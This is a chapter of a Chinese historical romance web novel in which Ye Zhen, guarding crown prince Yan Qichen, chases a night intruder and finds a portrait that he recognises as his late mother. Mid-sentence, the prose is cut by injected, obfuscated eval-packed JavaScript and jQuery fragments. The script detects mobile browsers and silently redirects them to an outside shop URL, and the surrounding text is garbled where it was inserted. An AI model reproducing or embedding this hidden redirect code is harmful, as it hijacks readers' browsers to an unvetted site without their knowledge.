燕其琛的住所安排在了陈府后院。叶桢当下算是他的亲卫，自然也住进了同一个院子。燕其琛心知她女扮男装多有不便，便把西侧临近后门的唯一一间厢房给了她，还让陈伯玉拨了两个丫鬟来服侍。
叶桢本想拒绝，但一想到自己女扮男装，确实身边有女子帮衬会方便许多，最后也同意了。
秋夜凉如寒水，叶桢沐浴过后，躺在榻上却翻来覆去地睡不着。
脑海中频频回忆起方才沙盘上纵横交错的敌我态势，诸多武将的激昂之论，还有……燕其琛满含欣赏和笑意的眼神。
这是她生平第一次，真切地体会到一种运筹帷幄的感觉，手中木杖落下时，仿佛指端真的有百万雄兵，杀伐作响。
她越想越睡不着，索性披衣坐起，在书案前点灯看起了兵书。
父亲给她的兵书是一册《孙子兵法》抄本。这册书她幼年时就见过，抄录者写的是端正雅致的汉隶。儿时叶风教她识字以后，时常令她照着抄书，临摹静心。
她那时还嫌弃这汉隶书写起来规矩繁多，写不得几页就要偷懒，为此不知挨了多少骂。后来年岁渐长，她于书道上有了几分心得，才慢慢看出其中不凡。
这册兵书所写并非普通的汉隶，而是颇有名家之风的八分（1），笔墨遒劲有力，横画清逸圆融，犹如仙鹤凌空，舒展处自有出尘之意。而收锋时却极为克制，笔意沉着，七分柔和兼具三分峻骨。
隶书一道，并非叶风所长，字行之间苍劲凌厉的朱批才是他的手笔，与正文显然出自两人。
叶桢从前也问过父亲抄书之人是谁，他却只说此书是市井中偶然得来，并不认识。她那时年纪尚小，还不太看得懂书法之妙，如今重新翻看，才愈发觉得此人书道真是刚柔并济，堪称雄美！
她随手翻到《虚实篇》，明黄烛光映照下，早已烂熟于心的字句映入眼帘：“水因地而制流，兵因敌而制胜。故兵无常势，水无常形，能因敌变化而取胜者，谓之神。”
旁边还有父亲的朱批小字：“水之利害，皆在因势利导。敌若借水，我亦可借之。水能覆我，亦能覆敌。善用兵者，不与天争，当借天威以为己刃。”
恰恰与今晚她和燕其琛所想到的计策不谋而合。
只是，纵然水势可借，但慕容潇今晚提到的兵力，的确是一个致命死穴。
以燕军目前的兵力，楚军十万余人尚可应对，但怕就怕在慕容潇所说的，万一南楚继续增兵？
想到慕容潇，叶桢眉眼间的忧虑更重了。
傍晚时他逼问自己的架势，明显是识得她的佩剑。而这把剑，是她去年及笄时，叶风送给她的及笄礼。
父亲难道与慕容潇认识？
叶风曾做过军中将领，他对兵法更是颇有一番心得。这是叶桢自幼便知道的事情。只是从小到大，她每次向父亲问及过往之事，得到的都是十分含糊的回答，从不多言。
或许，她说出佩剑的来历，就能从慕容潇那里问出些父亲年轻时的旧事。
念头刚起，叶桢又兀自摇了摇头，不行！
父亲一向对往事讳莫如深，连她和哥哥都不肯多说，既然他不愿意让旁人知道他的真实身份和行踪，若是自己贸然拿这把剑去问慕容潇，反倒给父亲招来麻烦呢？
算了，等回去以后再问爹爹。
反正他先前也答应过她，等她回去会把很多事情都慢慢告诉自己。
叶桢接着读手上兵书，回忆起目前已知的所有军情，不由自主地开始思索下一步两军可能出现的局势：燕军不善水战，但楚军却最善水战。蓬城之地有定水、沂水、泗水三江汇合，出城后合为溧水南下入漼河。
在溧水与漼河相交之地就在资陵郡，而城池如今已被楚军据守。燕军若想夺回失地，利用天然的水势优利乃是上上之策……
她正沉思着，忽然案上烛火轻晃，一道极其细微的声响从房外传来，紧接着窗棂上一个黑影一闪而过。
叶桢自幼习武，对声响光影的觉知敏锐至极，当即便明白方才有人在房外暗探。脑海里一瞬间想到的是那夜刺杀燕其琛的刺客。
她立刻收书入怀，一把抓起榻旁的佩剑，推开房门，身姿灵巧如燕，跃入黑沉夜色之中。
那黑影轻功极高，在错落的屋脊和回廊间起落，几乎没有发出半点声响。叶桢借着走廊灯笼的昏暗光影，提气轻身，一路紧追不舍。
然而，当她穿过一道圆月洞门，追到一处院落中时，却彻底失去了对方的踪迹。
叶桢仔细一看，这里正是燕其琛所居的东厢房。
房中亦灯火尚明。
男子案前微伏的身影映在窗上，随灯火微微晃动。
燕其琛也还没歇息？
叶桢不禁有些担心，他身上还有伤，白天又一直奔波劳碌，竟还通宵达旦，也实在是太不爱惜自己的身体了……
想起方才出现的黑影，又见庭院里无人看守，她沉思片刻，闪身藏到一根房柱之后。
与之同时，房门突然“吱呀”一声打开，一个黑影迅速掠来，长剑刺到叶桢身前，她敏捷地矮身一躲，随即也忍不住拔剑与那人在院中斗了起来。
剑刃交击之声在夜风中清脆争鸣，一番交手过后，叶桢借着房里透出的光终于看清，对方是林衡。
她迅疾停手，林衡却攻势更猛地刺来一剑。
“是我！！”叶桢疾呼一声，为了躲开，不得不翻身跃向他身后。
“子弈住手！”
燕其琛的声音乍然出现，待叶桢落地时，他已经闪身挡在了她身前。
林衡听到燕其琛声音的时候也及时停手，上前一步，只见燕其琛侧开身子，露出面带笑意的叶桢。
她收剑入鞘，朝林衡拱了拱手，笑道：“林将军好身手！”
林衡一怔，突然就想起马车上撞见的那一幕。立刻惊着一般，恭敬地抬手回礼：“叶姑娘谬赞了！姑娘的身手更在我之上！”
这话不假，他自幼习武，又出身军营，后来被慕容潇选中入了东宫，也正是因为身手敏捷、剑法精妙，可以更好地保护燕其琛。
但他方才与叶桢交手，竟觉得自己一向引以为傲的剑术在这个姑娘面前，也只能落个下乘。
先前太子殿下一直将她视为自己的救命恩人，林衡本还有些不信，那天的刺客有多厉害，连他都被绊住了脚没能保护好燕其琛，一个十七岁的姑娘怎么可能从刺客手下救人？
可这会儿，林衡是真的有些信了。
林衡疑惑道：“姑娘，你深更半夜来这里是……”
他没有说下去，很是知趣地默默退到一旁，因为太子殿下突然脱下了身上披着的厚大鹤氅，上前把那鹤氅披在了叶桢身上。
“你怎么不睡？来我这里有事？”燕其琛看着她愣神的模样，问道。
叶桢一脸懵懂地摇了摇头，身上鹤氅温暖至极，她这才想起来，她方才被那黑影惊动，只随手罩了件薄薄的窄袖外衫就追了出来。。
夜里风大，他方才定是看到她衣衫单薄，这才把鹤氅给了她。
暖意席卷全身，叶桢只觉得心里都是暖融融的一片，想起他身上还有伤，忙道：“我不怕冷，还是你披着吧。”
她说着就要取下来，燕其琛轻按住她的肩，止住她的动作，笑道：“我房里还有。瞧你，脸都冻红了，还说不冷？”
叶桢一愣，她脸冻红了吗？
她怎么觉得，可能不是冻红的？
这样一想，脸上莫名其妙地更热更红了。
他看她慌乱地抚脸，忍不住一笑：“外面风大，我们进去说话。”
燕其琛往前走去，才踏出脚步，突然发觉自己像是踩到了什么东西，低头仔细一看，竟是一本书。
他收回脚，俯身拾起那本书，一张叠得四四方方的白纸从书中滑出，飘落在地，他顺手拾起，发觉那纸张手感很好，不是普通的书纸，更像是丹青所用。
“阿桢，这是你的吗？”燕其琛将书册和叠着的白纸都递给她。
叶桢看清是她出来时顺手揣在怀里的兵书，应该是她刚刚凌空翻身一跃时掉在地上的。她双手接过：“是我的。咦，这是什么？”
那张白纸她没有见过，不确定是不是她的，于是一边跟着燕其琛往房里走一边打开，竟是一幅女子的画像。
案上的烛光照耀下，画上的女子着一身白衣，娉婷袅娜，明眸皓齿。即便画纸已经泛黄微皱，依然掩不住她的倾城绝色。
“这幅画居然在这书里！！”
叶桢认出这就是她曾经在父亲书房见过的那幅女子画像，十分震惊，随后又语带埋怨：“爹爹也真是的！这画明明被他自己收在书里了，却说是我弄丢的。我那顿罚可真是白挨了！回去必须得向他讨回公道！”
她自言自语着，丝毫没有注意到，一旁的燕其琛目光落在画像上的一瞬，神色陡然一变。
案上烛火跳跃，映得他眼底波澜翻涌，尽是不可置信的惊疑。
叶桢发觉他的目光一直死死地盯着桌上的画，不知为何心中莫名浮起一丝不悦：“太子殿下这是怎么了？纵然画上的美人有倾国之色，也不至于连魂都丢了吧？”
燕其琛却并未回答她，只看向林衡：“子弈，你去院外守着。”
林衡一怔，没有多问，退了出去。
燕其琛稍稍缓过神，迅速将房门关紧，大步回到案前，眼神仍牢牢地黏在画上，声音暗哑着问：“阿桢，这画上的人……你认识？”
“不认识。”
叶桢摇头，见他一副失魂落魄的模样，不由得轻咳一声，打趣道：“怎么？太子殿下该不会真的因这区区一幅画像就动心了？只可惜，这美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817220|211079||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人若还活在世上，年纪都足够做你母亲了。殿下还是趁早断了这份妄念！”
她说着就要将画像折起，燕其琛却按住画像一角，剑眉紧蹙：“你说什么？”
叶桢只当他是被自己的话戳中痛处，不由语带讥诮：“被我说中了吗？这画我自小就见过，画中之人少说也是与我爹同辈的年纪。殿下纵然爱美心切，这般百无禁忌，也未免太过……”
“荒唐”二字还没来得及出口，燕其琛已摇头打断了她：“阿桢，我不是这个意思。”
他眼底逼出细碎的血丝，神色惶急：“这幅画对我很重要，你若是知道什么，还请不要瞒我。”
叶桢还是第一次见他这般急切失态，突然想到方才自己随口编排的那句“做你母亲”，她脸色倏然一变，难以置信地反问：
“该不会……真叫我误打误撞说对了？这画上的人，真的是你母亲？”
燕其琛没有作声，只是用一种极其复杂、沉痛的目光望着她。
良久，叶桢才看到他微微垂眸，郑重地点了下头。
叶桢脑中“轰”地一声，仿佛有什么东西在头脑中炸开。
她蓦地想起了临走前父亲的嘱咐：“这本兵书除了给太子看，其他人都绝不允许碰。”
还有父亲给她的那块，和燕其琛身上佩戴的一模一样的螭龙玉佩……
她只觉得一阵天旋地转，脑中嗡嗡作响。
莫非爹爹一直都在骗她？
他明明有着指挥千军万马的本领，却一直隐匿于江湖，还借天玑山庄之名暗中搜集各方情报，再加上那天他第一次见到燕其琛的反应时，那种非同寻常的震惊和激动……
一个荒唐至极的念头突然冒了出来。
该不会……她前几日胡说八道的那句话，竟是真的？当今大燕的东宫太子，实际上是爹爹的血脉？
叶桢根本不敢再往下细想。
燕其琛心里的疑云显然比她更重：“阿桢，请你务必如实告诉我，这幅画，真的是叶庄主给你的？”
“他可曾说过，画上之人是谁？他一个江湖中人。手里为何会藏有我母亲的画像？他把画给你，又是何用意？”
叶桢点了点头，又摇了摇头：“是爹爹给的，但是……我也不知道画上的女子是谁。我甚至之前都没发现书里有这幅画。我真的不知道她是谁。不过……”
她犹豫了一下，不确定是否要告诉他，她的父亲曾有多珍视这幅画。
“不过什么？”
燕其琛眉头紧皱，迟疑片刻后终究还是问：“叶庄主既然认得我母亲，那他让你随我来蓬城……或许并不只是为了保护你。”
这话在叶桢听来，自然以为燕其琛是怀疑父亲另有企图，当即大声反驳道：“你瞎猜什么？我看他分明是叫我来保护你！”
燕其琛更加不解：“保护我？”
叶桢道：“当然！你身边这么危险，时时刻刻有人要杀你，傻子才会信他是为了我好才派我来的。爹爹就是见我武功好，索性让我来保护你。”
燕其琛道：“我跟叶庄主仅一面之缘，你是他的女儿，他怎会让你来保护我？”
“自然是因为……”
叶桢一时情急，险些将那句“因为你极有可能是他的儿子”脱口而出，但转念一想，当今太子并非皇室血脉，这话无论真假，一旦被旁人听见，就不只是一句玩笑话了。
她及时住口，含糊道：“我也说不清。反正，你要相信我爹，他让我跟你来蓬城，绝无恶意。至于这幅画，我是真不知道怎么回事。或许爹爹只是把画夹在了给我的兵书里，忘了而已。”
“兵书？”燕其琛问：“叶庄主还懂兵法？”
叶桢点头，把那本父亲做了注解的《孙子兵法》递给他：“爹爹嘱咐过我，这兵书除了我，只能给你一个人看。”
燕其琛接过，认真地翻看起来，书中叶风所做注解，精妙详细，用词与谋略，都透露出熟谙用兵之道的将领之风。
“那这画上之人？你当真不认识？”
“不认识。”
叶桢想了想，还是决定把知道的都告诉他，接着道：“小时候我见到这幅画时，也问过我爹她是谁。甚至还怀疑过这女子是不是我娘。我爹一直否认，只说是他的一位故人。而且我后来得知，我跟我爹没有血缘关系。阿琛……”
她压低了声音，小心地问：“这画上女子，真的是你娘？”
燕其琛颔首：“是，但她在我出生后两个月，就已经去世了。”
叶桢惊讶，又疑惑道：“你既然没有见过她，为何知道她是你母亲？你确定你不会认错？”
燕其琛点头，语气坚定：“我不会认错。”
他怎么可能认错？
他的父皇，邺京皇宫中的天子——永宁帝，曾亲手描过无数幅这样的丹青。